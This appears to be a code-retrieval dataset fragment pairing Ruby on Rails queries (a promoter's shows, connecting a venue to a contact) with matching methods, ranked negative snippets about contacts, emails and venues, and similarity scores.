"def contact_me(contact_form)\n @from = contact_form.email\n @message = contact_form.message\n @name = contact_form.name\n if contact_form.name.presence\n subject = \"Portfolio: A message from #{contact_form.name}\" \n else\n subject = \"Portfolio: A message from an unnamed visitor to your site.\"\n end\n mail from: contact_form.email,subject: subject\n end",
"def email_address_with_name\n \"\\\"#{name}\\\" <#{info.email}>\"\n end",
"def display_name\n self.email\n end",
"def email_address\n require \"mail\"\n address = Mail::Address.new email\n address.display_name = name.dup\n address.format\n end",
"def full_name\n return Contact.generate_full_name self.first_name, self.middel_name, self.last_name\n end",
"def build_event_contact(data)\n\t\t\tcontact_full_name = \"#{data[:person][:first_name]} #{data[:person][:last_name]}\"\n\t\t\tif contact_full_name.nil? || contact_full_name.blank? || data[:person][:email].nil? || data[:person][:email].blank?\n\t\t\t\tnil\n\t\t\telse\n \t{\n name: contact_full_name,\n mobile: data[:person][:mobile],\n show_phone: true,\n email: data[:person][:email].strip,\n show_email: true\n }\n\t\tend\n\tend",
"def contact_email=(value)\n @contact_email = value\n end",
"def display_name\n #self.email.split('@')[0]\n self.username\n end",
"def contact()\n\t\t\"Please contact #{full_name()} via #{email}\"\n\tend",
"def details\n contact_details = {\"Full Name\" => full_name, \"Email\" => email, \"Note\" => note}\n end",
"def email\n if read_attribute(:active) == 1\n if Rails.env.development?\n self.first_name + \" \" + self.last_name + \" <dtg_ror_devel@lists.teradyne.com>\"\n else\n read_attribute(:email)\n end\n else\n \"\"\n end\n end",
"def contact_email\n @contact = params[:contact]\n mail(:to => \"coyitest@gmail.com\", :subject => \"You have received a question from #{@contact[:name]} @ #{@contact[:email]}\", :body => \"#{@contact[:body]}\")\n end",
"def contact_email\n\t\treturn get_configuration['sa_contact_email']\n\tend",
"def contact_info\n puts \" Address: #{@address}\"\n puts \" Phone No: #{@phone}\"\n puts \" Email: #{@email}\"\n end",
"def show_name\n \tif first_name\n \t\t\"#{first_name}\".strip.squeeze(\" \")\n \telse\n \t\temail\n \tend\n end",
"def identifier\n unless full_name.blank?\n full_name\n else\n email.split('@').join(' from ')\n end\n end",
"def one_contact \n puts \"Name: #{@one_contact[:contact_name]}\".colorize(:green)\n puts \"Email: #{@one_contact[:contact_email]}\".colorize(:green)\n \nend",
"def contact\n\t\t@contact\n\tend",
"def contact\n\t\t@contact\n\tend",
"def new_contact_intro_email(user, contact)\n if user.name.present?\n @name = user.name.titlecase\n else\n @name = user.email\n end\n\n @signature = user.signature\n @email = user.email\n\n mail to: contact.email, reply_to: @email, from: \"\\\"#{@name}\\\" <#{@email}>\", subject: \"#{@name} wants to stay in touch with you!\"\n Email.create(:user_id => user.id, :sent_to => contact.id, :title => \"new_contact_intro_email\", :contacts => contact.id)\n end",
"def email\n if self[:email] && !@email_name\n self[:email]\n elsif self.email_name && self.email_domain\n self[:email] = \"#{self.email_name}@#{self.email_domain}\"\n end\n end",
"def name_display\n if first_name || last_name\n \"#{first_name} #{last_name}\".strip\n else\n email\n end\n end",
"def contact_name \n User.find(Membership.find(self.owner_id).user_id).name\n end",
"def contact\n @contact ||= get_contact(@data_object.user_contact)\n end",
"def contact\n\t\t\"#{small_title(titre.to_s)} #{contact_prenom.to_s} #{contact_nom.to_s}\".strip\t\t\n\tend",
"def display_name\n return \"#{first_name} #{last_name}\".strip if first_name\n return email\n end",
"def title\n if (self.first_name && self.first_name.length != 0)\n self.first_name + ' ' + self.last_name\n else\n self.email\n end\n end",
"def show ( contact )\n puts \"#{contact[:name]}\"\n puts \"phone: #{contact[:phone]}\"\n puts \"email: #{contact[:email]}\"\n puts\nend",
"def contact_info\n contact_info_arr = []\n contact_info_arr << (mobile.present? ? \"#{mobile} (M) \" : nil)\n contact_info_arr << (telephone.present? ? \"#{telephone} (T)\" : nil)\n contact_info_arr << email\n contact_info_arr.compact.join(\"<br/>\")\n end",
"def name_or_email\n self.name.blank? ? self.email : self.name\n end",
"def friendly_name\n super + \" Contact '#{self.name}'\"\n end",
"def contact(contact)\n @contact = contact\n\n mail(from: contact.email, subject:'Someone wants to talk to ya!')\n end",
"def formatted_email\n\t\t# because @name and @email are both instance variables, they are available in formatted_email\n\t\t\"#{@name} <#{@email}>\"\n\tend",
"def name_or_email\n if name.present?\n name\n else\n email\n end\n end",
"def contact(name, email, content)\n @name = name\n @email = email\n @content = content\n mail to: 'contact@coursavenue.com', subject: 'Suite de votre message sur CoursAvenue', reply_to: email\n end",
"def display_name\n self.email\nend",
"def primaryContactName\n if primary_contact\n primary_contact.full_name\n else\n \"Unassigned\"\n end\n end",
"def by_name first_name, last_name\n query = { \"and\" => [{ \"first name\" => { \"is\"=> first_name } }, { \"last name\" => { \"is\"=> last_name } }, { \"record type\"=> { \"is\"=> \"person\" }} ] }\n resp = @nimble.get 'contacts', { :query => query.to_json }\n self.contact = resp['resources'].first\n return nil unless self.contact\n self\n end",
"def find_name_or_email\n if self.first_name.present? && self.last_name.present?\n self.first_name + \" \" + self.last_name\n else\n self.name || self.email\n end\n end",
"def contact\n end",
"def contact\n end",
"def contact\n end",
"def contact\n end",
"def contact\n end",
"def contact\n end",
"def contact\n end",
"def contact\n end",
"def contact\n end",
"def contact\n end",
"def contact\n end",
"def contact\n end",
"def contact\n end",
"def contact\n end",
"def display_name\n self.name.blank? ? self.email : self.name\n end",
"def mailboxer_name\n \"#{self.first_name} #{self.last_name}\"\n end",
"def contact_email(name, email, body)\n @name = name\n @email = email\n @body = body\n \n mail(from: email, subject: 'Contact Form Message')\n end",
"def contactUs(name, email, phone, question, contact_pref)\n @contact_pref = contact_pref\n @name = name\n @email = email\n @phone = phone\n @question = question\n @greeting = @name + \" \" + \"Has a question!\"\n @subject = \"User Question\"\n\n mail to: \"bubba99207@gmail.com\", subject: @subject\n end",
"def contact_params\n { first_name: contact_mailbox.name, contact_mailbox_id: contact_mailbox.id }\n end",
"def full_name\n if first_name? && last_name?\n name_words = first_name.split(\" \") + last_name.split(\" \")\n return name_words.map{ |w| w.capitalize }.join(\" \")\n else\n return email\n end\n end",
"def contact_email\n EMAILS[:contact].split(' ').last[1..-2] \n end",
"def contact_info\n [phone_number, email].compact.map { |e| exhibit(e, @context) }.join('<br />').html_safe\n end",
"def contact\n\n end",
"def contact\n\n end",
"def contactus\n end",
"def contactus\r\n end"
] |
[
"0.75632703",
"0.75236076",
"0.74743336",
"0.744476",
"0.74264604",
"0.7391655",
"0.7374895",
"0.7207071",
"0.71628326",
"0.71339154",
"0.7080016",
"0.7080016",
"0.7072156",
"0.7022994",
"0.6963751",
"0.69393384",
"0.6897494",
"0.68818593",
"0.6862308",
"0.6853104",
"0.68424696",
"0.6825445",
"0.68200755",
"0.68150944",
"0.68150944",
"0.68150944",
"0.681365",
"0.6791552",
"0.67512393",
"0.6729356",
"0.67262644",
"0.66695386",
"0.6648329",
"0.6647527",
"0.6647497",
"0.6643728",
"0.6639749",
"0.663692",
"0.6625936",
"0.6621395",
"0.6615552",
"0.6599791",
"0.6599607",
"0.65908605",
"0.65870064",
"0.65836287",
"0.6577401",
"0.6573121",
"0.6562882",
"0.6559834",
"0.6558949",
"0.65582365",
"0.6558144",
"0.6534209",
"0.6534209",
"0.65274066",
"0.65249956",
"0.6519266",
"0.6517882",
"0.6516222",
"0.6515767",
"0.6515728",
"0.6490181",
"0.64881",
"0.64812994",
"0.64640486",
"0.64622754",
"0.6458722",
"0.64506674",
"0.6437052",
"0.6432402",
"0.64275444",
"0.64172727",
"0.6415595",
"0.64119583",
"0.64034414",
"0.64034414",
"0.64034414",
"0.64034414",
"0.64034414",
"0.64034414",
"0.64034414",
"0.64034414",
"0.64034414",
"0.64034414",
"0.64034414",
"0.64034414",
"0.64034414",
"0.64034414",
"0.63926125",
"0.6391706",
"0.63916695",
"0.6391277",
"0.63904566",
"0.6380115",
"0.63770515",
"0.63759583",
"0.6374576",
"0.6374576",
"0.63648707",
"0.63585865"
] |
0.0
|
-1
|
All the shows where the contact is the promoter.
|
def promoter_shows
Show.where(promoter_id: id)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def index\n @promoters = Promoter.find(:all).sort_by{|p| p.name_or_contact_info}\n end",
"def show\r\n # @provider_masters = ProvierMaster.all\r\n end",
"def show\n @pdestaf = Mercadorium.where fabricante: @fabrica.name\n\n end",
"def show\n @presenters = Presenter.all\n @meetings = Meeting.all\n @users = User.with_deleted.all\n end",
"def presenters\n find_related_frbr_objects( :is_presented_by, :which_roles?) \n end",
"def presenters\n find_related_frbr_objects( :is_presented_by, :which_roles?) \n end",
"def show\n @pins = Pin.joins(:pinnings).where(pinnings: {board_id: @board.id}) \n @followers = current_user.user_followers\n @collaborators = User.joins(:board_pinners).where(board_pinners: {board_id: @board.id})\n end",
"def index\n @promotions = current_shop_owner.promotions.all\n end",
"def showings\n Showing.all.select do |showing|\n showing.theater == self\n end\n end",
"def show\n @user = current_user\n @dm_profile = @user.dm_profile\n @player_profile = @user.player_profile\n @new_conversations = find_new_conversations\n @conversations = @user.chat_rooms - @new_conversations\n @similar_profiles = get_similar_profiles(@user) & (User.location(current_user, \"0\") || User.location(current_user, \"0\"))\n end",
"def show\n \n @protectora = Protectora.find(params[:id])\n @nombreProtectora = Protectora.find(params[:id]).nombre\n @mis_mascotas = Mascotum.find(:all, :conditions => {:protectora => @nombreProtectora})\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @protectora }\n end\n end",
"def show\n @produtos = @fornecedor.produtos\n @telefones = @fornecedor.telefones\n @emails = @fornecedor.emails\n end",
"def show\n @promotersbind = Promotersbind.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @promotersbind }\n end\n end",
"def show\n @payments = Payment.where(group: current_group).\n where('(from_id = ? AND to_id = ?) OR (from_id = ? AND to_id = ?)', current_diner.id, @diner.id, @diner.id, current_diner.id).\n order(:created_at).\n includes(:from, :to)\n end",
"def show\n @comentarios = @placa.comentarios\n end",
"def show\n @showings = @client.showings.includes(listing: :pictures)\n @showings = @showings.order(\"listings.\" + params[:order]) if params[:order]\n @showings = @showings.where('showings.compare' => true).paginate(:page => params[:page], :per_page => 3) if (params[:view] == \"compare\")\n @showings = @showings.paginate(:page => params[:page], :per_page => 21) if (params[:view] == \"all\")\n \n @dashboard_listing_set = dashboard_listing_set(@showings, @client) unless params[:view]\n end",
"def show\n @propositions = Proposal.where(consultant_id: @collaborator.id)\n end",
"def show\n @customers = @manifest.get_customers()\n @puntos = @manifest.get_puntos()\n @locations = @manifest.get_locations()\n @cargas = @manifest.get_cargas()\n\n \n end",
"def show\n @pigeon_messages = @pigeon.pigeon_messages.order(created_at: :desc)\n @shared_pigeons = @pigeon.shared_pigeons.order(created_at: :desc)\n end",
"def show\n user = current_user.admin? ? @channel_customer : current_user.channel_customer\n @supervisors = user.supervisor_exhibitions\n @merchants = user.merchants\n @sales_promotions = user.sales_promotions\n end",
"def show\n @cen = Centro.where(\"cliente_id = 1\")\n @esp = Especialidad.joins(:centro).where(\"centros.cliente_id = 1\")\n end",
"def show_filter\n perm_links = ministry.lmi_show.map { |lmi| \"lmi_total_custom_#{lmi}\" }\n table[:perm_link].in(perm_links)\n end",
"def viewers #returns people\n people = Rating.all.map do |rating|\n if rating.title == self.title\n rating.viewer\n end\n end\n people.map do |peo|\n peo.full_name\n end.uniq\n end",
"def show\n # @blockers = @session.blockers\n end",
"def show\n @contract_o = Contract.where(offer_id: @offer_c)\n\n @oferta_solicitada = Offer.where(id: @offerta_id)\n\n @user_ofertante = Contract.where(id: @contract_o)\n @oferta_completa = Offer.where(id: @offer_cliente)\n @userRequestOffer = Request.where(user_id = (current_user.id).to_s)\n @userRequest = Request.where(:user_id => current_user.id)\n @user_cliente = Contract.where(user_id: current_user)\n @user = params[:users]\n @ver_perfil_publico = User.where(:id => @user)\n @oferta_publica = Offer.where(:user_id => @user)\n @este = Offer.where(user_id: current_user.id)\n end",
"def show\n if !current_member.the_admin? && current_member.region_id != @member.region_id\n redirect_to \"/\", notice: \"Access denied\"\n return\n end\n\n @network_commisions_limit = 10\n @network_commisions = @member.network_commisions.joins(:member).order(\"id desc\").limit(@network_commisions_limit)\n @show_view_all_network_commisions = @member.network_commisions.count > @network_commisions_limit\n\n @total_network_commisions = @member.total_network_commisions\n @total_descendants = @member.descendants.count\n\n @transactions = @member.transactions.where(referral: false).order(\"id DESC\")\n @referral_transactions = @member.transactions.where(referral: true).order(\"id DESC\")\n @total_referral_commisions = @member.transactions.where(referral: true).sum(:referral_commision)\n\n if @member.web_dev?\n @latest_members_limit = 10\n @latest_members = Member.where.not(member_id: Member::CORE_MEMBER_IDS).order(\"id desc\").limit(@latest_members_limit)\n @show_view_all_network_commisions = Member.where.not(member_id: Member::CORE_MEMBER_IDS).count > @latest_members_limit\n @total_web_dev_commisions = WalletTransaction.where(member_id: @member.id, transaction_type: \"web development commision\").sum(:amount)\n end\n end",
"def show\n @comentaris = @contribucion.comentaris\n end",
"def show\n @other_tools = @tool.others_from_this_owner\n @collaborators = @tool.collaborators\n end",
"def visible_corporations\n if @par_rag\n @game.sorted_corporations.select { |c| c == @game.rag }\n else\n @game.sorted_corporations.reject(&:closed?)\n end\n end",
"def show\n if current_user\n user_congress_members = CongressMemberFinder.get_all(current_user)\n @senator_handles = user_congress_members[:senators] ? user_congress_members[:senators].map { |senator| senator.twitter_handle }.join(\" \") : \"@YourSenators\"\n @representative_handle = user_congress_members[:representative] ? user_congress_members[:representative].twitter_handle : \"@YourRepresentative\"\n else\n @senator_handles = \"@YourSenators\"\n @representative_handle = \"@YourRepresentative\"\n end\n end",
"def show\n @circulos = @compra.get_deliveries\n\t\t@statuses = @compra.get_statuses\n\n end",
"def show_list\n process_show_list(:conditions => [\"agent_type<>?\", \"VMDB\"])\n end",
"def show\n @othermailings = Mailing.where.not(id: @mailing.id)\n end",
"def viewers\n self.queue_items.map {|item| item.viewer}\n end",
"def show\n @notificationss = Notification.where(user_id:current_user.id,estado:false).size\n @participants = Participant.all\n end",
"def show\n @notificationss = Notification.where(user_id:current_user.id,estado:false).size\n @participants = Participant.all\n end",
"def show\n @headings = ExpertHeading.where(expert: @expert)\n friend_ids = Friendship.where(expert: @expert).pluck(:friend_id)\n friend_ids << @expert.id\n @all_experts = Expert.where.not(id: friend_ids)\n end",
"def show\n @contatos = Contato.where(@regra.criterio)\n end",
"def show_printers()\n list = Cups.show_destinations\n puts list.inspect\n end",
"def show\n add_breadcrumb \"Detalles\", @prospectos\n end",
"def broadcasters\n find_related_frbr_objects( :is_broadcast_by, :which_roles?) \n end",
"def show\n @lienthemes = Lientheme.where(oeuvre:@oeuvre)\n @passage = Passage.where(oeuvre:@oeuvre)\n end",
"def show\n #save list with all accuseds person of the procedure\n @preponderant_crime = @procedure.crime_in_accuseds.find_by(preponderant: true)\n @crimes = @procedure.crime_in_accuseds.where(preponderant: false).uniq { |s| s.crime.id }\n accuseds_in_procedure = @procedure.person_in_procedures.where(role: 0)\n @accuseds = []\n accuseds_in_procedure.each do |accused|\n @accuseds.append([Person.find(accused.person_id), accused.state, accused.id, accused.prosecutor_pronounced])\n end\n #save list with all victims person of the procedure\n victims_in_procedure = @procedure.person_in_procedures.where(role: 2)\n @victims = []\n victims_in_procedure.each do |victim|\n @victims.append([Person.find(victim.person_id), victim.witness_declaration])\n end\n\n #save list with all witnesses person of the procedure\n witnesses_in_procedure = @procedure.person_in_procedures.where(role: 1)\n @witnesses = []\n witnesses_in_procedure.each do |witness|\n @witnesses.append([Person.find(witness.person_id), witness.witness_declaration])\n end\n end",
"def show\r\n @sivic_partevenrelacelulas = SivicParticipantecelula.all\r\n\r\n @sivic_Observacoesrelatorios = Observacoesrelatorio.where(:sivic_relatorioscelula_id => params[:id])\r\n end",
"def index\n @pejabat = CostCentre.find_by_kode(current_user.cost_centre_id).pejabat\n @delegations = Delegation.where('pemberi'=>@pejabat)\n end",
"def show\n #puts \"Dispositivos prop: \" + @owner.devices.count.to_s\n end",
"def index\n if current_admin.has_role? :merchant_admin\n @admin_promos = Promo.where('merchant_id in (?)', Merchant.where(admin_id: current_admin.id).map(&:id)).page(params[:page]).per(10)\n else\n @admin_promos = City.find(session[:current_city_id]).promos.order('created_at DESC').page(params[:page]).per(10)\n end\n\n end",
"def index\n @presentations = Presentation.for(current_user.id)\n @nearby = Presentation.near(current_user_latlon)\n end",
"def broadcasters\n find_related_frbr_objects( :is_broadcasted_by, :which_roles?) \n end",
"def show\r\n\r\n relatorio_id = params[:relatorio_id]\r\n asFormAcads = FormAcad.where(relatorio_id: relatorio_id);\r\n osEgressos = Egresso.none\r\n asFormAcads.each do |aFormAcad|\r\n oEgresso = Egresso.where(id: aFormAcad.egresso_id)\r\n if not(oEgresso.first.cpf.present?)||not(oEgresso.first.email_princ.present?)||not(aFormAcad.data_fim.present?)\r\n osEgressos += oEgresso\r\n end\r\n end\r\n @osEgressos= Egresso.where(id: osEgressos.map(&:id)).paginate(page: params[:page], per_page: 5).order(\"id\")\r\n end",
"def show\n @comitemembers = Comitemember.all\n @members = Member.all\n end",
"def index\n @proverbes = Proverbe.all\n end",
"def show\n @empresa = Empresa.find(params[:empresa_id]) \n @producto = @empresa.productos.find(params[:producto_id])\n @preparar_mate = @producto.preparar_mates.find(params[:id])\n end",
"def show\n @suppliers = Supplier.all\n @raw_materials = RawMaterial.all\n super\n end",
"def show \n @person_type_masters = PersonTypeMaster.all\n end",
"def show\n@prac = Contact.find_by(:id => @oncourse_exercise.prac_id )\n@change_agent = Contact.find_by(:id => @oncourse_exercise.change_agent_id)\n end",
"def show\n @devices = @box.devices.order(:name)\n\n @patchpanels = @box.patchpanels.order(:name)\n end",
"def allow_show\n Mem.select(\"id,nc,photo\").find(self.id)\n end",
"def show\n @other_reports = Report.where(yelp_business_id: @report.spot.yelp_business_id)\n end",
"def show\n @equipamentos = Equipamento.where(modelo_id: @modelo.id).order(:patrimonio).page(params[:page]).per(10)\n @comments = @modelo.comments.order(\"id DESC\").page(params[:page]).per(3)\n end",
"def show\n @operas = Opera.where('artista_id=?', @artistum.id)\n @user = User.find_by_artista_id(@artistum.id)\n if current_user.nil?\n @preferiti = []\n else\n @preferiti = Favorite.opere(current_user.id)\n end\n render layout: \"gallery\"\n end",
"def index\n if @customer.nil?\n @promotions = Promotion.all\n else \n @promotions = @customer.promotions\n end\n render 'promotions/promotions', :locals => { :promotions => @promotions }\n end",
"def show\n #mostra o nome ao inves do id\n @supplier = Supplier.find(@payment.supplier_id)\n end",
"def index\n @prospecto_meta_mediano_plazos = ProspectoMetaMedianoPlazo.all\n end",
"def showlist\n\t\t@people_list.each do |x|\n\t\t\tputs \"* #{capitalize(x.type)}, #{capitalize(x.name)}, #{capitalize(x.party)}\"\n\t\tend\n\tend",
"def show\n @gabinete_objects = GabineteObject.all\n @expo = Exhibit.find_by(id: @gabinete_object.exhibit_id)\n set_actual_obj(@gabinete_objects, @expo)\n \n @fotos = @gabinete_object.photos.all\n @historia = @gabinete_object.histories.all\n @gabinete_object.photos.each do |ima|\n @imagem_portada = ima if ima.ocapa == true\n @imagem_cara = ima if ima.cara == true\n end\n end",
"def show\n @bills = @polco_group.get_bills\n @members = @polco_group.members\n @followers = @polco_group.followers\n\n respond_to do |format|\n format.html # show.haml\n format.xml { render :xml => @polco_group }\n end\n end",
"def show\n set_musing\n end",
"def villagers\r\n Villager.all.find_all{ |villager| villager.personality == self}\r\n end",
"def show\n set_persona_biometria\n end",
"def index\n @prospecto_telefonos = ProspectoTelefono.all\n end",
"def show\n@productos = @vendedor.producto.all\n end",
"def show\n @passenger_journeys = Passenger.new(@driver_journey).passenger_journeys\n end",
"def show\n redirect_to dashboard_url if current_user.team_id != @team.id\n teammates = @team.hackers.reject{ |h| h == current_user }\n @current_name = current_user.full_name.present? ? current_user.full_name : 'Me'\n @others = []\n 3.times do |i|\n teammate = teammates[i]\n if teammate.present?\n name = teammate.full_name.present? ? teammate.full_name : 'Friend'\n @others << {name: name, present: true, email: teammate.email}\n else\n @others << {name: 'Invite Friend', present: false}\n end\n end\n end",
"def show\n if logged_in? && (current_user.cliente.estoque_mp == \"Sim\") && (current_user.nivel_usuario == \"admin\")\n @receitacliente = Receitum.where(cliente_id: current_user.cliente_id)\n @receita = []\n @receitanomes = Receitum.where(cliente_id: current_user.cliente_id).uniq.pluck(:nome_receita)\n @receitanomes.each do |receitas|\n @receita << @receitacliente.where(nome_receita: receitas).first\n end\n \n end\n end",
"def show\n @company = Company.find(params[:id])\n @battalion = Battalion.find(params[:battalion_id])\n @platoon = @company.platoons.find(:all, :order => \"name\")\n @attached = Platoon.all(:conditions => [\"attached_id = ?\", @company.id]) \n @cc = @company.users.find_by_position('Company Commander')\n @fs = @company.users.find_by_position('1st Sergeant')\n @frg = @company.users.find_by_position('FRG Leader')\n @soldiers = @company.soldiers.search(params[:search])\n @primary = @company.primaries.spouses\n \n @kid = (@company.soldiers.find(:all, :select => 'kids.*', :joins => [:kids]))\n \n render :layout => \"dashboard\"\n end",
"def show\n if !@stream.approved or !@stream.running\n render status: :no_content\n else\n battle_order = @stream.multivotes.all.sort_by{|bo| bo.order}\n available_battle = battle_order.select do |each| \n !is_voted(Battle.find(each.battle_id))\n end\n @battles_in_stream = available_battle.map {|v| \n b = Battle.find(v.battle_id)\n lvideo = Video.find(b.left_video_id)\n rvideo = Video.find(b.right_video_id)\n \n {:battle_id => b.id, :left_video_url => lvideo.video_url.to_s, :left_video_poster => lvideo.image.thumb.to_s,:right_video_url => rvideo.video_url.to_s, :right_video_poster => rvideo.image.thumb.to_s}\n }\n end\n end",
"def show\n @family = @guardian.family\n end",
"def show\n @agent = @property.account\n @count = Property.where(zona: @property.zona).where.not(id: @property).count\n @neighbourhood = Property.where(zona: @property.zona).where.not(id: @property).limit(3)\n end",
"def show\n @perfil = Profissional.select(:id, :nome_comercial, :nome_completo).joins(:profissoes_profissionais, :areas_profissionais, :servicos).select(:profissao_id)\n end",
"def show\n listarContatos\n end",
"def show\n @transporte = Transport.joins(:transportabschnitte).where(:transportabschnitte => {firma_id: @firma}).paginate(page: params[:page], per_page: 20)\n end",
"def my_followers_mottos\n Bloodoath.all.each do |bloodoath|\n if bloodoath.cult == self\n puts bloodoath.follower.life_motto\n end\n end\n end",
"def show\n if not @candidato.pesquisa.nil?\n @pesquisa = @candidato.pesquisa\n end\n end",
"def info_show\n chosen_baptized_at_home_parish?\n end",
"def show\n @procedures = @property.procedures\n end",
"def show\n @currently_needed_game_stations = @tournament.total_needed_game_stations - @tournament.game_stations_count if @tournament.total_needed_game_stations.present?\n @registration = @tournament.registrations.find_by(player_id: current_user.player.id) if current_user.present?\n @seeded_participants_array = @tournament.registrations.order(:position).map { |r| r.player.gamer_tag }\n @seeded_participants_array = reorder_for_pools(@seeded_participants_array, @tournament.number_of_pools) if @tournament.has_pools?\n end",
"def show\n @meals = Menu.meals\n @locations = Menu.locations\n @menu = Menu.where(id: params[:id]).first\n @selected_meal = @menu.meal\n @selected_location = @menu.location\n if current_user\n @items = @menu.items.sort_by{ |obj| obj.updated_at }.partition{ |item| item.users.include? (current_user)}.flatten\n else\n @items = @menu.items.sort_by{ |obj| obj.updated_at }\n end\n end",
"def show\n @company = Company.find(1)\n\n \n @pm = @company.get_pm()\n @pm1 = @company.get_pm1()\n @pm2 = @company.get_pm2()\n end",
"def show\n @equipe_persos = EquipePerso.all\n @joueurs = Joueur.all\n end",
"def show\n @user = User.find(params[:id])\n @channels = Array.new\n @user.antennas.each do |antenna|\n @channels << Channel.find(antenna.channel_id)\n end\n @channels.sort_by{|e| e[:name]}\n @devices = Array.new\n @user.own_devices.each do |own_device|\n @devices << Device.find(own_device.device_id)\n end\n @devices.sort_by{|e| e[:name]}\n @set_top_boxes = Array.new\n @user.own_boxes.each do |own_box|\n @set_top_boxes << SetTopBox.find(own_box.set_top_box_id)\n end\n @set_top_boxes.sort_by{|e| e[:name]}\n end",
"def show\n if current_user.role == 'parent'\n @students = current_user.students\n elsif current_user.role == 'teacher'\n @students = current_user.student_class.students.all\n end\n true\n #@messaging_centres = MessagingCentre.all\n end",
"def current\n @profilers\n end",
"def show\n @primera_mano = PrimeraMano.find(params[:id])\n colocarenlaces @primera_mano, '/primera_manos/'\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @primera_mano }\n end\n end",
"def show\n @cliente = Cliente.find(params[:id])\n @l_ventas = Venta.where('cliente==? AND user==1',@cliente.id)\n\n @lista_ventas = []\n @l_ventas.each do |v|\n if Marca.find_by_id(v.marca).user == 1 then\n @lista_ventas << v\n end\n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cliente }\n format.js \n end\n end",
"def index\n @peg_contact_infos = PegContactInfo.all\n end",
"def show\n @ovos = Ovo.where(galinha_id: @galinha.galinha_id)\n end",
"def index\n @relatorio_plano_de_voos = RelatorioPlanoDeVoo.all\n end",
"def show\n @histories = History.where(recipient_id:@recipient.id)\n @recipientsusers = RecipientsUser.where(recipient_id:@recipient.id)\n end",
"def show\n set_meta_tags title: \"#{@place.name} en Waydda\",\n description: \"Visita la tienda en línea de #{@place.name} en Waydda\"\n @available_distance = @place.available_distance?(current_or_guest_user.get_ll)\n # @place.products.paginate(page: params[:page], per_page: 30)\n @items = @place.items.includes(:recent_products).paginate(page: params[:page], per_page: 30)\n @item_arrays = @items.select { |item| item.recent_products.length > 0 }\n # @products = @place.products.where(:items_recents.with_size => 0, status: \"active\")\n @products = []\n end"
] |
[
"0.63855946",
"0.62670064",
"0.59467316",
"0.5840493",
"0.58328736",
"0.58328736",
"0.57074666",
"0.5696384",
"0.56671005",
"0.5632648",
"0.56320554",
"0.5624344",
"0.5603016",
"0.5592168",
"0.55871433",
"0.55705273",
"0.5558642",
"0.5556958",
"0.5537548",
"0.5531207",
"0.55288583",
"0.5514751",
"0.55023456",
"0.5498719",
"0.5473694",
"0.54698884",
"0.54681796",
"0.5466069",
"0.54568017",
"0.5456565",
"0.54513115",
"0.54342103",
"0.54316586",
"0.5425178",
"0.5399068",
"0.5399068",
"0.53779536",
"0.5363783",
"0.5360802",
"0.53510475",
"0.53447",
"0.5339154",
"0.5337844",
"0.53353053",
"0.5333264",
"0.53217065",
"0.53210425",
"0.531725",
"0.53144664",
"0.53132105",
"0.52968395",
"0.529607",
"0.52838135",
"0.52833694",
"0.52731556",
"0.5269407",
"0.5263857",
"0.5259542",
"0.5258188",
"0.5255429",
"0.52522695",
"0.52522117",
"0.5249984",
"0.524946",
"0.524497",
"0.5243671",
"0.5239194",
"0.52359086",
"0.52345014",
"0.5225332",
"0.5223642",
"0.52219605",
"0.522166",
"0.52214575",
"0.5221228",
"0.5216534",
"0.52100927",
"0.52073383",
"0.52057487",
"0.5205281",
"0.52038735",
"0.52030957",
"0.5202366",
"0.5200724",
"0.5194638",
"0.51933867",
"0.5193122",
"0.51902026",
"0.5187607",
"0.5184401",
"0.517832",
"0.51675415",
"0.5167259",
"0.51670206",
"0.51570034",
"0.51539123",
"0.51537126",
"0.51536775",
"0.5151803",
"0.5150899"
] |
0.7458325
|
0
|
Connect a venue to the contact.
|
def connect(venue)
ContactVenueRelationship.create(contact_id: id,
venue_id: venue.id)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_venue\n @venue = Venue.find(params[:id])\n end",
"def set_venue\n @venue = Venue.find(params[:id])\n end",
"def set_venue\n @venue = Venue.find(params[:id])\n end",
"def set_venue\n @venue = Venue.find(params[:id])\n end",
"def set_venue\n @venue = Venue.find(params[:id])\n end",
"def set_venue\n @venue = Venue.find(params[:id])\n\n end",
"def set_venue\n @venue = Venue.friendly.find(params[:id])\n end",
"def set_venue\n @venue = Venue.friendly.find(params[:id])\n end",
"def set_venue\n @venue = Venue.find(params[:venue_id])\n end",
"def set_venue\n @venue = Venue.find(params[:venue_id])\n end",
"def set_venue\n @venue = Venue.find(params[:id])\n end",
"def set_venue\n @venue = Venue.find(params[:id])\n end",
"def set_venue\n @venue = Venue.find(params[:id])\n end",
"def set_venue\n @venue = Venue.find(params[:id])\n end",
"def set_venue_address\n @venue_address = VenueAddress.find(params[:id])\n end",
"def initialize(venue)\n if VENUES.include?(venue)\n @venue = venue\n else\n raise ArgumentError, \"Unknown venue #{venue}\"\n end\n end",
"def initialize(venue)\n if VENUES.include?(venue)\n @venue = venue\n else\n raise ArgumentError, \"Unknown venue #{venue}\"\n end\n end",
"def create_venue\n self.venue_id = Venue.create.id\n true\n end",
"def create_venue\n self.venue_id = Venue.create.id\n true\n end",
"def venue(id)\n options = { :venue_id => id }\n get('/venue_info', options)\n end",
"def venue(id)\n get(\"venues/#{id}\").venue\n end",
"def set_venue\n @venue = Venue.find_by_slug(params[:id])\n @venue = Venue.find_by_id(params[:id]) if @venue.nil?\n end",
"def create\n @company = Company.find(params[\"search_query\"])\n Venue.create(\n name: params[\"name\"],\n display_address: params[\"display_address\"],\n cross_streets: params[\"cross_streets\"],\n address: params[\"address\"],\n city: params[\"city\"],\n state_code: params[\"state_code\"],\n postal_code: params[\"postal_code\"],\n image_url: params[\"image_url\"],\n url: params[\"url\"],\n rating_image_url: params[\"rating_image_url\"],\n yelp_id: params[\"yelp_id\"],\n review_count: params[\"review_count\"]\n )\n redirect_to new_company_run_path(@company)\n end",
"def venue(vid, options = {})\n options.merge!({ :query => { :key => @api_key } })\n self.class.get(\"/venues/#{vid}\", options)\n end",
"def new\n @venue = Venue.new\n end",
